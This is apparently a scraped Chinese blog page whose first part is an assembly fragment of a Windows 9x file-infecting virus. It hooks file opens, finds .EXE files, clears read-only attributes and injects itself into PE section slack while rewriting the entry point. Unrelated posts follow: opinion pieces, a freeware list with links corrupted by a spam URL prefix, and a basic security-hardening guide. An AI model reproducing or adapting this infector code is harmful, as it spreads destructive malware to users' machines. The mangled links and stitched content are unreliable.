;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,int ResourceFlags, int CodePage, pioreq pir)

cmp dword ptr [ebx], 00000024h
jne prevhook
; *************************************
; * Enable OnBusy *
; *************************************
inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy
; *************************************
; * Get FilePath's DriveNumber, *
; * then Set the DriveName to *
; * FileNameBuffer. *
; *************************************
; * Ex. If DriveNumber is 03h, *
; * DriveName is 'C:'. *
; *************************************
; mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6 ;esi指向FileNameBuffer
push esi ;
mov al, [ebx+04h]
cmp al, 0ffh ;
je CallUniToBCSPath
add al, 40h
mov ah, ':'
mov [esi], eax
inc esi
inc esi
; *************************************
; * UniToBCSPath *
; *************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; *************************************
; UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath, unsigned int maxLength, int charSet)

CallUniToBCSPath:
push 00000000h
push FileNameBufferSize
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax ;Uni字符首址
push esi ;BCS字符首址
int 20h ; VXDCall UniToBCSPath
UniToBCSPath = $
dd 00400041h ;
add esp, 04h*04h
; *************************************
; * Is FileName '.EXE' !? *
; *************************************
; cmp [esi+eax-04h], '.EXE'
cmp [esi+eax-04h], 'EXE.'
pop esi
jne DisableOnBusy
IF DEBUG
; *************************************
; * Only for Debug *
; *************************************
; cmp [esi+eax-06h], 'FUCK'
cmp [esi+eax-06h], 'KCUF'
jne DisableOnBusy
ENDIF
; *************************************
; * Is Open Existing File !? *
; *************************************
; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy
; *************************************
; * Get Attributes of the File *
; *************************************
mov ax, 4300h
int 20h ;
IFSMgr_Ring0_FileIO = $
dd 00400032h
jc DisableOnBusy
push ecx
; *************************************
; * Get IFSMgr_Ring0_FileIO Address *
; *************************************
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi] ;
; *************************************
; * Is Read-Only File !? *
; *************************************
test cl, 01h
jz OpenFile ;
; *************************************
; * Modify Read-Only File to Write *
; *************************************
mov ax, 4301h ;
call edi ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Open File *
; *************************************
OpenFile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx
xor edx, edx
inc edx
mov ebx, edx
inc ebx ;esi为文件名首址
call edi ; VXDCall IFSMgr_Ring0_FileIO
xchg ebx, eax ; mov ebx, FileHandle
; *************************************
; * Need to Restore *
; * Attributes of the File !? *
; *************************************
pop ecx
pushf
test cl, 01h
jz IsOpenFileOK
; *************************************
; * Restore Attributes of the File *
; *************************************
mov ax, 4301h
call edi
; *************************************
; * Is Open File OK !? *
; *************************************
IsOpenFileOK:
popf
jc DisableOnBusy
; *************************************
; * Open File Already Succeed. ^__^ *
; *************************************
push esi ; Push FileNameBuffer Address to Stack
pushf ; Now CF = 0, Push Flag to Stack
add esi, DataBuffer-@7 ; mov esi, offset DataBuffer
; ***************************
; * Get OffsetToNewHeader *
; ***************************
xor eax, eax
mov ah, 0d6h
; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eax
push 00000004h
pop ecx
push 0000003ch
pop edx
call edi ; VXDCall IFSMgr_Ring0_FileIO
mov edx, [esi]
; ***************************
; * Get 'PE\0' Signature *
; * of ImageFileHeader, and *
; * Infected Mark. *
; ***************************
dec edx
mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * Is PE !? *
; ***************************
; * Is the File *
; * Already Infected !? *
; ***************************
; * WinZip Self-Extractor *
; * doesn't Have Infected *
; * Mark Because My Virus *
; * doesn't Infect it. *
; ***************************
; cmp [esi], '\0PE\0'
cmp dword ptr [esi], 00455000h
jne CloseFile
; *************************************
; * The File is ^o^ *
; * PE(Portable Executable) indeed. *
; *************************************
; * The File isn't also Infected. *
; *************************************
; *************************************
; * Start to Infect the File *
; *************************************
; * Registers Use Status Now : *
; * *
; * EAX = 04h *
; * EBX = File Handle *
; * ECX = 04h *
; * EDX = 'PE\0\0' Signature of *
; * ImageFileHeader Pointer's *
; * Former Byte. *
; * ESI = DataBuffer Address ==> @8 *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump : *
; * *
; * ESP => ------------------------- *
; * | EFLAG(CF=0) | *
; * ------------------------- *
; * | FileNameBufferPointer | *
; * ------------------------- *
; * | EDI | *
; * ------------------------- *
; * | ESI | *
; * ------------------------- *
; * | EBP | *
; * ------------------------- *
; * | ESP | *
; * ------------------------- *
; * | EBX | *
; * ------------------------- *
; * | EDX | *
; * ------------------------- *
; * | ECX | *
; * ------------------------- *
; * | EAX | *
; * ------------------------- *
; * | Return Address | *
; * ------------------------- *
; *************************************
push ebx ; Save File Handle
push 00h ; Set VirusCodeSectionTableEndMark
; ***************************
; * Let's Set the *
; * Virus' Infected Mark *
; ***************************
push 01h ; Size
push edx ; Pointer of File
push edi ; Address of Buffer
; ***************************
; * Save ESP Register *
; ***************************
mov dr1, esp
; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Only First Set Size ) *
; ***************************
push eax ; Size
; ***************************
; * Let's Read *
; * Image Header in File *
; ***************************
mov eax, ebp
mov cl, SizeOfImageHeaderToRead
add edx, 07h ; Move EDX to NumberOfSections
call edi ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Set Pointer of File, *
; * Address of Buffer ) *
; ***************************
lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; Pointer of File
lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax ; Address of Buffer
; ***************************
; * Move EDX to the Start *
; * of SectionTable in File *
; ***************************
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h]
; ***************************
; * Let's Get *
; * Total Size of Sections *
; ***************************
mov al, SizeOfScetionTable
; I Assume NumberOfSections <= 0ffh
mov cl, (NumberOfSections-@8)[esi]
mul cl
; ***************************
; * Let's Set Section Table *
; ***************************
; Move ESI to the Start of SectionTable
lea esi, (StartOfSectionTable-@8)[esi]
push eax ; Size
push edx ; Pointer of File
push esi ; Address of Buffer
; ***************************
; * The Code Size of Merge *
; * Virus Code Section and *
; * Total Size of Virus *
; * Code Section Table Must *
; * be Small or Equal the *
; * Unused Space Size of *
; * Following Section Table *
; ***************************
inc ecx
push ecx ; Save NumberOfSections+1
shl ecx, 03h ;*8
push ecx ; Save TotalSizeOfVirusCodeSectionTable
add ecx, eax
add ecx, edx
sub ecx, (SizeOfHeaders-@9)[esi]
not ecx
inc ecx
; Save My Virus First Section Code
; Size of Following Section Table...
; ( Not Include the Size of Virus Code Section Table )
push ecx
xchg ecx, eax ; ECX = Size of Section Table
; Save Original Address of Entry Point
mov eax, (AddressOfEntryPoint-@9)[esi]
add eax, (ImageBase-@9)[esi]
mov (OriginalAddressOfEntryPoint-@9)[esi], eax
cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark
; ***************************
; * Read All Section Tables *
; ***************************
mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * Full Modify the Bug : *
; * WinZip Self-Extractor *
; * Occurs Error... *
; ***************************
; * So When User Opens *
; * WinZip Self-Extractor, *
; * Virus Doesn't Infect it.*
; ***************************
; * First, Virus Gets the *
; * PointerToRawData in the *
; * Second Section Table, *
; * Reads the Section Data, *
; * and Tests the String of *
; * 'WinZip(R)'...... *
; ***************************
xchg eax, ebp
push 00000004h
pop ecx ;读4字节
push edx
mov edx, (SizeOfScetionTable+PointerToRawData-@9)[ebx]
add edx, 12h ;加10h+2h(10h处为"WinZip....")
call edi ; VXDCall IFSMgr_Ring0_FileIO
; cmp [esi], 'nZip'
cmp dword ptr [esi], 'piZn'
je NotSetInfectedMark
pop edx
; ***************************
; * Let's Set Total Virus *
; * Code Section Table *
; ***************************
; EBX = My Virus First Section Code
; Size of Following Section Table
pop ebx ;
pop edi ; EDI = TotalSizeOfVirusCodeSectionTabl
pop ecx ; ECX = NumberOfSections+1
push edi ; Size
add edx, ebp
push edx ; Pointer of File
add ebp, esi
push ebp ; Address of Buffer
; ***************************
; * Set the First Virus *
; * Code Section Size in *
; * VirusCodeSectionTable *
; ***************************
lea eax, [ebp+edi-04h]
mov [eax], ebx
; ***************************
; * Let's Set My Virus *
; * First Section Code *
; ***************************
push ebx ; Size
add edx, edi
push edx ; Pointer of File
lea edi, (MyVirusStart-@9)[esi]
push edi ; Address of Buffer
; ***************************
; * Let's Modify the *
; * AddressOfEntryPoint to *
; * My Virus Entry Point *
; ***************************
mov (NewAddressOfEntryPoint-@9)[esi], edx
; ***************************
; * Setup Initial Data *
; ***************************
lea edx, [esi-SizeOfScetionTable]
mov ebp, offset VirusSize
jmp StartToWriteCodeToSections
; ***************************
; * Write Code to Sections *
; ***************************
LoopOfWriteCodeToSections:
  
add edx, SizeOfScetionTable ;
mov ebx, (SizeOfRawData-@9)[edx]
sub ebx, (VirtualSize-@9)[edx]
jbe EndOfWriteCodeToSections
push ebx ; Size
sub eax, 08h
mov [eax], ebx
mov ebx, (PointerToRawData-@9)[edx]
add ebx, (VirtualSize-@9)[edx]
push ebx ; Pointer of File
push edi ; Address of Buffer
mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi]
mov [eax+4], ebx
mov ebx, [eax]
add (VirtualSize-@9)[edx], ebx
; Section contains initialized data ==> 00000040h
; Section can be Read. ==> 40000000h
or (Characteristics-@9)[edx], 40000040h
StartToWriteCodeToSections:
sub ebp, ebx
jbe SetVirusCodeSectionTableEndMark
add edi, ebx ; Move Address of Buffer
EndOfWriteCodeToSections:
loop LoopOfWriteCodeToSections
; ***************************
; * Only Set Infected Mark *
; ***************************
OnlySetInfectedMark:
mov esp, dr1
jmp WriteVirusCodeToFile
; ***************************
; * Not Set Infected Mark *
; ***************************
NotSetInfectedMark:
add esp, 3ch
jmp CloseFile
; ***************************
; * Set Virus Code *
; * Section Table End Mark *
; ***************************
SetVirusCodeSectionTableEndMark:
; Adjust Size of Virus Section Code to Correct Value
add [eax], ebp
add [esp+08h], ebp
; Set End Mark
xor ebx, ebx
mov [eax-04h], ebx
; ***************************
; * When VirusGame Calls *
; * VxDCall, VMM Modifies *
; * the 'int 20h' and the *
; * 'Service Identifier' *
; * to 'Call [XXXXXXXX]'. *
; ***************************
; * Before Writing My Virus *
; * to File, I Must Restore *
; * them First. ^__^ *
; ***************************

类别: 无分类 |  评论(0) |  浏览(19634) |  收藏
2007年12月15日 15:32:06

说韩寒

作协 是很可笑的存在???

这句话出自韩寒之口  还有其他一些语言  把野狗驯化成了家狗

总之来说  在他看来  若不是他迫于他现在的身份不好说脏话

他会说  加入作协的作家都是走狗!!!

真不可想象  这个年轻作家这样

以鄙人的看来  他不过是“迂腐”罢了  我所说的迂腐不是描述封建时代作家的迂腐

从这看来  鄙人敢打包票  没有任何外界的限制  他 肯定成不了 “大家”

这我绝对敢打保票!  我了解几个 “类似”这样的人  包括我以前一个  高中语文老师

在 文学方面 是 小有成就  但始终成不了 “大家”!

类别: 无分类 |  评论(0) |  浏览(10512) |  收藏
2007年12月15日 15:11:19

资本主义所谓的民主,不过是资产阶级利益的纷争罢了

资本主义所谓的民主,不过是资产阶级利益的纷争罢了

看那些资本主义国家的议会竟能打起来?    这就是他们的民主  不过是争取利益罢了


类别: 无分类 |  评论(0) |  浏览(10819) |  收藏
2007年12月08日 22:24:09

10个增强Windows效率的必备免费软件(图)


几乎每台电脑都装有windows系统,因此我们每天都对硬盘里的文件进行复制,粘贴,创建,移动,删除等等。windows本身的操作工具,例如简单的复制粘贴功能,简陋的资源管理器,都不能满足高效率的要求。所有安装一些增强windows效率的辅助软件是很有必要的。[url=http://www.sms55.cn/reg.htm[/url]lifehacker.com/software/lifehacker-top-10/top-10-free-windows-file-wranglers-330037.php]LifeHacker[/url]为我们挑选了10个增强windows表现的免费软件。你还在等什么?


10. [url=http://www.sms55.cn/reg.htm[/url]www.snapfiles.com/get/restoration.html]Restoration[/url]

这是一个强大的文件恢复软件。它能恢复你有意或无意删除的文件,不管文件是在硬盘还是在闪存上。更强大的是,其官网上说该软件能在flash文件里恢复一张图片(不会是使用截图吧?)。软件无需安装,绿色运行。

推荐指数:3.5

9. [url=http://www.sms55.cn/reg.htm[/url]www.bigbangenterprises.de/en/doublekiller/]DoubleKiller[/url]/[url=http://www.sms55.cn/reg.htm[/url]www.easyduplicatefinder.com/]Easy Duplicate Finder[/url]

你的系统里肯定有重复的文件,拿图片做例子,你可能今天保存了一张一年之前已经保存了的图片。这2个软件有什么用呢?它们会帮你比较系统里的文件文件名,文件尺寸,修改日期和CRC32效验等等,帮你找出相同的文件。找出来有什么用?删除!不要浪费多余的空间。比较推荐前者。

推荐指数:4

8. [url=http://www.sms55.cn/reg.htm[/url]www.codesector.com/teracopy.asp]TeraCopy[/url]

替代windows的复制粘贴功能的好工具,TeraCopy支持文件的暂停传输和断点续传,遇到错误时可以选择跳过,直到复制完毕后列出错误列表。而且复制粘贴的效率要比windows的复制粘贴功能强得多。

[url=http://www.sms55.cn/reg.htm[/url]www.kenengba.com/post/318.html][/url]

推荐指数:4

7. [url=http://www.sms55.cn/reg.htm[/url]winmerge.org/]WinMerge[/url]

如果你经常使用文本编辑或程序编辑,这是绝对值得你拥有的软件,它会比较两个文件不不同之处,试想一下,如果你在对比两个相似的程序代码,要从头到尾对比下去是多么累的事啊!同样的,WinMerge还可以用于比较两个文本文件的差异。

推荐指数:3.5

6. FolderShare/[url=http://www.sms55.cn/reg.htm[/url]www.microsoft.com/downloads/details.aspx?familyid=C26EFA36-98E0-4EE9-A7C5-98D0592D8C52]SyncToy[/url]

两台电脑之间实现文件共享的工具,双方安装同样的软件后即可使用。标题里的是2个软件,其中一个是微软的。

推荐指数:3

5. [url=http://www.sms55.cn/reg.htm[/url]www.runtime.org/dixml.htm]DriveImage XML[/url]

一个可以用来替代Ghost的备份软件,它可以备份你的所以分区上的文件,备份文件将保存为xml格式的镜像,你可以查看这个镜像文件里的内容,也可以恢复镜像到相同或不同的分区里。

推荐指数:3.5

4. [url=http://www.sms55.cn/reg.htm[/url]windirstat.sourceforge.net/]WinDirStat[/url]

这是一个计算和显示你的硬盘容量的软件。当你的存储非常不足的时候尤其有用。WinDirStat会以全彩的方式显示不同的文件占用硬盘的情况,如果你需要删除这一类的文件,只需要选取该颜色,点击软件上的删除按钮即可。注意:这样是永久删除,不经过回收站。

[url=http://www.sms55.cn/reg.htm[/url]www.kenengba.com/][/url]

推荐指数:4

3. [url=http://www.sms55.cn/reg.htm[/url]zabkat.com/x2lite.htm]Xplorer²[/url]

这应该很多人都用过了,一个替代windows explorer的绝佳软件,功能非常强大,支持书签、文件过滤和快捷键。

推荐指数:4.5

2. [url=http://www.sms55.cn/reg.htm[/url]www.2brightsparks.com/downloads.html]SyncBack[/url]

我们知道,数据备份是很重要的。但很多时候我们都会忘记进行备份,可能是太忙了,可以是太懒了。和DriveImage XML一样,这是一个备份软件, 不同的是,它能监控文件的修改,做出高效率的备份。

推荐指数:4

1. [url=http://www.sms55.cn/reg.htm[/url]www.truecrypt.org/downloads.php]TrueCrypt[/url]

一个文件加密软件。和其它加密软件不同的是,TrueCrypt提供多种加密算法,被加密的文件会被虚拟成一个磁盘,使用时必须先装载这个虚拟磁盘(和虚拟光驱差不多),然后输入正确的密码才能查看加密的文件。

类别: 无分类 |  评论(0) |  浏览(10475) |  收藏
2007年12月08日 22:17:30

安全专家支招防范黑客攻击九大方法

黑客攻击如何防范?我们一起来看看卡巴斯基的安全专家如何给大家进行解答。

  一、计算机的设置

  1、关闭“文件和打印共享”

  文件和打印共享应该是一个非常有用的功能,但在不需要它的时候,也是黑客入侵的很好的安全漏洞。所以在没有必要“文件和打印共享”的情况下,我们可以将它关闭。用鼠标右击“网络邻居”,选择“属性”,然后单击“文件和打印共享”按钮,将弹出的“文件和打印共享”对话框中的两个复选框中的钩去掉即可。 虽然“文件和打印共享”关闭了,但是还不能确保安全,还要修改注册表,禁止它人更改“文件和打印共享”。打开注册表编辑器,选择“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NetWork”主键,在该主键下新建DWORD类型的键值,键值名为“NoFileSharingControl”,键值设为“1”表示禁止这项功能,从而达到禁止更改“文件和打印共享”的目的;键值为“0”表示答应这项功能。这样在“网络邻居”的“属性”对话框中“文件和打印共享”就不复存在了。

  2、把Guest账号禁用

  有很多入侵都是通过这个账号进一步获得治理员密码或者权限的。假如不想把自己的计算机给别人当玩具,那还是禁止的好。打开控制面板,双击“用户和密码”,单击“高级”选项卡,再单击“高级”按钮,弹出本地用户和组窗口。在Guest账号上面点击右键,选择属性,在“常规”页中选中“账户已停用”。另外,将Administrator账号改名可以防止黑客知道自己的治理员账号,这会在很大程度上保证计算机安全。

  3、禁止建立空连接

  在默认的情况下,任何用户都可以通过空连接连上服务器,枚举账号并猜测密码。因此,我们必须禁止建立空连接。方法是修改注册表:打开注册表“HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA”,将DWORD值“RestrictAnonymous”的键值改为“1”即可。

  二、隐藏IP地址

  黑客经常利用一些网络探测技术来查看我们的主机信息,主要目的就是得到网络中主机的IP地址。IP地址在网络安全上是一个很重要的概念,假如攻击者知道了你的IP地址,等于为他的攻击预备好了目标,他可以向这个IP发动各种进攻,如DoS( 拒绝服务 )攻击、Floop溢出攻击等。隐藏IP地址的主要方法是使用代理服务器。与直接连接到Internet相比,使用代理服务器能保护上网用户的IP地址,从而保障上网安全。代理服务器的原理是在客户机(用户上网的计算机)和远程服务器(如用户想访问远端WWW服务器)之间架设一个“中转站”,当客户机向远程服务器提出服务要求后,代理服务器首先截取用户的请求,然后代理服务器将服务请求转交远程服务器,从而实现客户机和远程服务器之间的联系。很显然,使用代理服务器后,其它用户只能探测到代理服务器的IP地址而不是用户的IP地址,这就实现了隐藏用户IP地址的目的,保障了用户上网安全。提供免费代理服务器的网站有很多,你也可以自己用代理猎手等工具来查找。

  三、关闭不必要的端口

  黑客在入侵时经常会扫描你的计算机端口,假如安装了端口监视程序(比如Netwatch),该监视程序则会有警告提示。假如碰到这种入侵,可用工具软件关闭用不到的端口。

  四、更换治理员帐户

  Administrator帐户拥有最高的系统权限,一旦该帐户被人利用,后果不堪设想。黑客入侵的常用手段之一就是试图获得Administrator帐户的密码,所以我们要重新配置Administrator帐号。首先是为Administrator帐户设置一个强大复杂的密码,然后我们重命名Administrator帐户,再创建一个没有治理员权限的Administrator帐户欺骗入侵者。这样一来,入侵者就很难搞清哪个帐户真正拥有治理员权限,也就在一定程度上减少了危险性。

  五、杜绝Guest帐户的入侵

  Guest帐户即所谓的来宾帐户,它可以访问计算机,但受到限制。不幸的是,Guest也为黑客入侵打开了方便之门!网上有很多文章中都介绍过如何利用Guest用户得到治理员权限的方法,所以要杜绝基于Guest帐户的系统入侵。

  禁用或彻底删除Guest帐户是最好的办法,但在某些必须使用到Guest帐户的情况下,就需要通过其它途径来做好防御工作了。首先要给Guest设一个强壮的密码,然后具体设置Guest帐户对物理路径的访问权限。举例来说,假如你要防止Guest用户可以访问tool文件夹,可以右击该文件夹,在弹出菜单中选择“安全”标签,从中可看到可以访问此文件夹的所有用户。删除治理员之外的所有用户即可。或者在权限中为相应的用户设定权限,比方说只能“列出文件夹目录”和“读取”等,这样就安全多了。

  六、安装必要的安全软件

  我们还应在电脑中安装并使用必要的防黑软件,杀毒软件和 防火墙 都是必备的。在上网时打开它们,这样即便有黑客进攻我们的安全也是有保证的。

  七、防范木马程序

  木马程序会窃取所植入电脑中的有用信息,因此我们也要防止被黑客植入木马程序,常用的办法有:

  ● 在下载文件时先放到自己新建的文件夹里,再用杀毒软件来检测,起到提前预防的作用。

  ● 在“开始”→“程序”→“启动”或“开始”→“程序”→“Startup”选项里看是否有不明的运行项目,假如有,删除即可。将注册表里 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run下的所有以“Run”为前缀的可疑程序全部删除即可。

  八、不要回生疏人的邮件

  有些黑客可能会冒充某些正规网站的名义,然后编个冠冕堂皇的理由寄一封信给你要求你输入上网的用户名称与密码,假如按下“确定”,你的帐号和密码就进了黑客的邮箱。所以不要随便回生疏人的邮件,即使他说得再动听再诱人也不上当。

  九、做好IE的安全设置

  ActiveX控件和 Applets有较强的功能,但也存在被人利用的隐患,网页中的恶意代码往往就是利用这些控件编写的小程序,只要打开网页就会被运行。所以要避免恶意网页的攻击只有禁止这些恶意代码的运行。IE对此提供了多种选择,具体设置步骤是:“工具”→“Internet选项”→“安全”→“自定义级别”,建议您将ActiveX控件与相关选项禁用。谨慎些总没有错! 另外,在IE的安全性设定中我们只能设定Internet、本地Intranet、受信任的站点、受限制的站点。不过,微软在这里隐藏了“我的电脑”的安全性设定,通过修改注册表把该选项打开,可以使我们在对待ActiveX控件和 Applets时有更多的选择,并对本地电脑安全产生更大的影响。

  下面是具体的方法:打开“开始”菜单中的“运行”,在弹出的“运行”对话框中输入Regedit.exe,打开注册表编辑器,点击前面的“ ”号顺次展开到:HKEY_CURRE-NT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones\0,在右边窗口中找到DWORD值“Flags”,默认键值为十六进制的21(十进制33),双击“Flags”,在弹出的对话框中将它的键值改为“1”即可,关闭注册表编辑器。无需重新启动电脑,重新打开IE,再次点击“工具→Internet选项→安全”标签,你就会看到多了一个“我的电脑”图标,在这里你可以设定它的安全等级。将它的安全等级设定高些,这样的防范更严密。

  最后建议给自己的系统打上补丁, 微软那些补丁还是很有用的。

类别: 无分类 |  评论(0) |  浏览(10207) |  收藏
2007年12月05日 13:54:46

德国人(某些人)的险恶用心!

之前  早在 今年2月份 德国就传出 中国黑客攻击 马克思主义在线文库网站
马克思主义网站遇到的敌人,怎么会“偏偏来自同属共产主义阵营的中国”?
这在我们看来似乎很可笑!  其实不然    相信大家都知道 舆论的力量
德国那些人偏偏指责中国黑客攻击 马克思主义在线文库网站  而对于非 其类的攻击就少渲染
目的为何?
在本人看来 这终归结于世界两大阵营的斗争  资本主义 与 共产主义
大家都知道 现在在世界上的舆论起主导作用的  还是资本主义阵营的舆论  世界上的人民听到最多的声音还是来自 资本主义阵营  当然在中国及其他一些共产主义国家起主导舆论作用的还是本国自己的舆论
所谓天下乌鸦一般黑  自德国舆论造出中国黑客攻击事件后  其他一些资本主义国家也传出了类似消息...........  结果全世界的人都知道了这个消息。  当然 这其中不管听到这些消息的人怎么样的态度但最终结果  全世界人民还是听到了这个  不知真假的信息  而那些制造信息的家伙 目的已经达到了
话 说回来  德国那些人却又为何制造如此 让人觉得可笑的信息呢?
记住  你可笑并不会使别个觉得可笑  个人的观点总是不同  德国那些人就是想让世界知道
在世界上的最大的共抵抗共产主义产主义中国的内部 已经出现了对共产主义不满的情绪  已经有人开始抵抗共产主义了  而且还是“知识程度较高”的人员  这说明什么  至于说明什么 不好说
反正让那些想亲近共产主义的国家人民 觉得共产主义并不是好  影射出 资本主义的好
归结于两大阵营的斗争!  西方资本主义从未放弃对共产主义的压迫 攻击 并且也在全世界诋毁共产主义
我们所要做的就是  强硬回应  在全世界 宣传共产主义  并建立全世界性的共产主义活动基金  为未来的共产主义者提供可行的帮助  当然这只是本人的观点
而本人的根本观点就是:捍卫共产主义  决不放弃共产主义  并最终消灭资本主义!!!

类别: 无分类 |  评论(0) |  浏览(10580) |  收藏